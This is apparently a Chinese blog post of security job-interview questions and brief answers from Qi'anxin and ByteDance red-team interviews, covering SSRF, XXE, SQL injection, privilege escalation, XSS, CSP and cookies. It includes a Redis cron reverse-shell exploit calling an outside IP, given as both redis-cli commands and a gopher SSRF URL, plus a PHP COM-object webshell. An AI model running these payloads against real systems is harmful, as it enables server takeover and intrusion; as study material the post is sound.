安全春招面经
最近学习有点懈怠了,总结下之前面试遇到的一些问题,查漏补缺
本人水平有限,答案仅供参考
奇安信
一面
好像是红队渗透的岗所以大部分都是JAVA审计,内网,提权免杀的东西
自我介绍,擅长方向
JAVA漏洞原理,Apache shiro 550反序列化原理,反序列化链
strust,weblogic,jboss 熟悉漏洞原理,反序列化链,攻击方式
strust2绕waf的方法 payload编码绕过
SSRF利用面
- 访问内网文件识别web指纹
- 探测内网主机存活,应用
- 攻击内网应用程序,如redis
- 利用协议访问相应文件 file, gopher, dict, ftp
- DoS攻击(请求大文件,始终保持连接keep-alive always)
Redis未授权,SSRF打Redis未授权使用的什么协议?
浅析Redis中SSRF的利用
常用gopher dict
常见exp
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
改成适配gopher的url
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
NTLM relay攻击
https://zhuanlan.zhihu.com/p/64889695
JAVA SSRF协议限制
由于Java没有php的cURL,所以Java SSRF支持的协议,不能像php使用 curl -V 查看。
支持file ftp mailto http https jar netdoc
如何绕过SSRF对协议的限制
没回答出来,应该是302跳转
DNS Rebinding 攻击绕过 ssrf 限制
其他绕过总结:https://www.secpulse.com/archives/65832.html
Redis getshell思路,获取shell条件
- 写SSHkey
- root账号启动redis服务
- 服务器开放SSH服务,允许密钥登录。
- 写计划任务
- redis是root用户启动
- crontab反弹debian,ubuntu都不行
- 主从复制
- 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
- 然后在从机上加载so文件,我们就可以执行拓展的新命令了。
windows下获取redis shell
- 写入webshell,需要知道web路径
- 写入启动项,需要目标服务器重启
- 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。
介绍一下XXE,如何进行XXE盲注
参数实体引用
https://www.t00ls.net/articles-32919.html
审计XXE的思路,XXE相关的函数
JAVA
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId
PHP
SimpleXMLElement、simplexml_load_string
JAVA和PHP审计与命令执行相关的函数
PHP
1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
JAVA
Shiro 721 Padding Oracle攻击漏洞原理
JAVA代码审计思路
JAVA框架的预编译
Mybatis
Hibernet
Preparedstatement
使用预编译后还能进行sql注入吗
堆叠注入
gbk编码可能会有宽字节
开报错会有报错注入
Mybatis框架注入漏洞
https://xz.aliyun.com/t/3950
mysql注入点,获取shell的方法
- select into file
- 写日志 前提条件
报错注入能使用日志来getshell吗
UDF提权,MOF提权
UDF:已知mysql账号密码
MOF:windows 03及以下版本
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null
sqlserver提权的办法
https://y4er.com/post/mssql-getshell/
xp_cmdshell
差异备份
log备份
oracle提权的办法
注入点的前端有json加密,如何进行利用,比如数据包中带了一个token
无回显的sql注入如何进行,带外注入是使用的哪些函数
load_file()
secure_file_priv =""
取磁盘目录
secure_file_priv = G|\
可以读取G盘文件
secure_file_priv = null load_file
限制,不能加载文件在mysql 5.5.34 默认为空可以加载文件,之后的版本为NULL,不能加载文件
对目标信息收集,收集哪些方面的内容
子域名收集的方法
找真实IP的方法
找目标网站后台的思路
- 字典爆破,常见后台路径
- 御剑,nmap,awvs扫目录
- 开源类程序CMS固定后台
- 源码泄漏,网站备份泄漏,敏感文件泄漏
- 二级域名,子域名
- 其他端口
- 盲打xss
除了上述还有其他办法吗?
XSS实战经历(打cookie的实例)
XSS的利用面
XSS在内网中的利用方法
XSS内网探测的原理
文件上传绕过waf,或者代码防护的办法
白名单的上传点,有getshell的办法吗
解析漏洞,介绍一下nginx的解析漏洞
我只说了%00截断
还有php配置错误导致的解析漏洞/test.jpg/test.php
CVE-2013-4547
PHP审计,上传所涉及的函数,命令执行的函数
绕过disable_function
- 系统组件绕过
window com组件(php 5.4)(高版本扩展要自己添加)
条件:要在php.ini中开启(如图)
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
- ImageMagick漏洞
- 利用环境变量LD_PRELOAD
- 利用pcntl_exec
- php7.4 ffi
Windows提权方法
linux提权方法
免杀方面的工作做过吗
webshell的免杀,蚁剑的编码器了解过吗
检测冰蝎的流量特征
PHP反序列化,魔术方法
__to_string是什么时候触发的呢
PHP审计经验,有复现或者审计过哪些漏洞
thinkphp5 RCE的原理
tp5 RCE实战中存在一些坑点了解过吗
还了解哪些php的洞,介绍一下原理
拿到webshell进行内网渗透的流程,应该干嘛
找域控有哪些方法
内网中有哪些经典的漏洞了解吗,ms17010 07068这种
windows下抓密码的工具了解吗
抓明文密码的原理
抓明文被杀软拦截了,有什么办法
hashdump了解过是如何获取到hash的吗
域渗透权限维持的方法
用过CS吗
介绍一个印象最深的渗透经历
python线程和协程的区别
https://www.jianshu.com/p/0ec911909dff
https://blog.csdn.net/sinat_26917383/article/details/68951673
字节
一面
自我介绍
渗透思路 给你一个登录页面 你有哪些思路
说得越全越好, XSS, SQL注入, 二次注入, 暴力破解,验证码机制时效性,万能密码,其他功能逻辑漏洞
平时工作的一些工作内容
sql注入getshell的方法 除了--os-shell
select into outfile 写日志
udf提权 mof提权 原理 条件
开发的钓鱼邮件平台的技术架构,大致过程,测试效果
反序列化的原理,魔术方法
CORS漏洞的原理,讲一讲同源策略
SSRF攻击面
打内网 strust redis
怎么打redis
gopher redis未授权
nginx相关的了解吗
讲一讲web渗透的经历
web渗透的思路
linux中> 和>>的区别知道吗
>
是覆盖原有内容
>>
是追加内容
二面
讲一讲XSS
代码层防护怎么做?
富文本场景怎么做?
- 内容白名单
- CSP
CSP原理知道吗?CSP有哪几种方式防护xss?CSP有几种模式知道吗?
内容安全策略( CSP )
- 资源加载限制
- 基于URL的限制
- 杂项限制和强化选项
cookie和session的区别
- cookie存储在客户端,session存储在服务端
- 有效期不同,一般cookie有效期大于session,session有效期过长服务器累计的session过多会导致内存溢出
- Cookie支持跨域,将domain属性设置为“.twosmi1e.com”
cookie里有哪些东西知道吗
- name
- value
- domain cookie绑定的域名
- path 默认是'/',这个值匹配的是web的路由
- Expires/Max-age 有效期
- secure 为true时cookie只在ssl或https等安全协议下传输
- HttpOnly
http-only起什么作用
属性为true时js不能读取cookie的值
开发会什么语言
同源策略讲下,跨域常用方法
CORS JSONP
如何利用这些 JSONP请求劫持的是什么
JSONP的大致过程 能不能写下JS代码
CSRF如何防护,造成的原理是什么
refer白名单
二次验证
token
后端服务器如何对token进行校验,相关原理?
docker了解吗
了解 知道docker未授权
漏洞原理?
数据安全了解吗
权限最小化,数据脱敏,数据水印,制度红线,安全培训,数据审批
身份认证了解吗,OSS,oauth,ldap,SAML
统一身份认证与授权标准介绍:OpenID,OAuth2,SAML
浅谈SAML, OAuth, OpenID和SSO, JWT和Session
主机安全了解吗
其核心内容包括安全应用交付系统、应用监管系统、操作系统安全增强系统和运维安全管控系统。它的具体功能是指保证主机在数据存储和处理的保密性、完整性,可用性,它包括硬件、固件、系统软件的自身安全,以及一系列附加的安全技术和安全管理措施,从而建立一个完整的主机安全保护环境。
接口安全了解吗
API接口安全性设计
安全|API接口安全性设计(防篡改和重复调用)
防篡改, 防重复调用
- Token授权机制
- 时间戳超时机制
- API签名机制
app渗透了解吗
逆向了解吗
学过编译原理吗